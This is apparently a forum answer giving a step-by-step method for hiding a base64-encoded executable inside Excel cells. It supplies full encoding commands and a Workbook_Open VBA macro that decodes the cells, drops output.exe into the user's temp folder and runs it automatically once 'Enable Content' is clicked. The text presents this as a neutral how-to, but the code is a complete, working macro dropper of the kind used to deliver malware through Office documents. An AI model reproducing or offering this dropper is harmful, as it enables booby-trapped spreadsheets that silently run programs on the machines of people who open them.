Adding code to @DavidHeffernan's reply (base64 method):
- Insert base64.
#Linux
cat input.exe | base64 > output.txt
# Windows
certutil -encodehex -f "input.exe" "output.txt" 0x40000001 1>null
# Python
import base64
with open("input.exe", "rb") as file_in:
with open("output.txt", "wb") as file_out:
file_out.write(base64.b64encode(file_in.read()))
The current version of Microsoft Excel automatically splits long text into parts, so open it in Notepad and insert into cell A1. Example:

In my example, the text is split into 5 parts.
- Add the Developer tab.
https://support.microsoft.com/en-us/office/show-the-developer-tab-e1192344-5e56-4d45-931b-e5fd9bea2d45
- Create a script.
Go to Developer
-> Visual Basic
-> double click on This workbook
and paste the following code in the window.
Private Sub Workbook_Open()
Dim objFSO, objFile
Dim strCombinedInput As String
Dim arrOutput() As Byte
Dim outputPath
' Initialize FileSystemObject
Set objFSO = CreateObject("Scripting.FileSystemObject")
' Join values from cells A1 to A5
strCombinedInput = JoinRangeValues(ActiveSheet.Range("A1:A5")) ' EDIT TO YOUR RANGE
' Decode Base64
arrOutput = DecodeBase64(strCombinedInput)
' Get the USERPROFILE environment variable
Dim userProfile
userProfile = Environ("USERPROFILE")
' Build the path to the temporary directory
outputPath = userProfile & "\AppData\Local\Temp"
' Create or overwrite output binary file in the specified directory
Set objFile = objFSO.CreateTextFile(outputPath & "\output.exe", True)
objFile.Write BinaryToString(arrOutput)
objFile.Close
' Clean up
Set objFile = Nothing
Set objFSO = Nothing
CreateObject("WScript.Shell").Exec (outputPath & "./output.exe")
End Sub
Function JoinRangeValues(rng As Range) As String
Dim cell As Range
Dim result As String
For Each cell In rng
result = result & cell.Value & vbCrLf
Next cell
JoinRangeValues = result
End Function
Function DecodeBase64(ByVal strInput) As Byte()
Dim objXML, objNode
Set objXML = CreateObject("MSXML2.DOMDocument.6.0")
Set objNode = objXML.createElement("b64")
' Decode Base64
objNode.DataType = "bin.base64"
objNode.Text = strInput
DecodeBase64 = objNode.NodeTypedValue
' Clean up
Set objNode = Nothing
Set objXML = Nothing
End Function
Function BinaryToString(arrBytes)
Dim i, strOutput
strOutput = ""
For i = 0 To UBound(arrBytes)
strOutput = strOutput & Chr(arrBytes(i))
Next
BinaryToString = strOutput
End Function
Make sure you have edited the cell range.
The above code takes the value from the specified cells, decodes the base64, saves it to %temp%/output.exe
and executes it. The code is executed at startup when you click the Enable Content
button.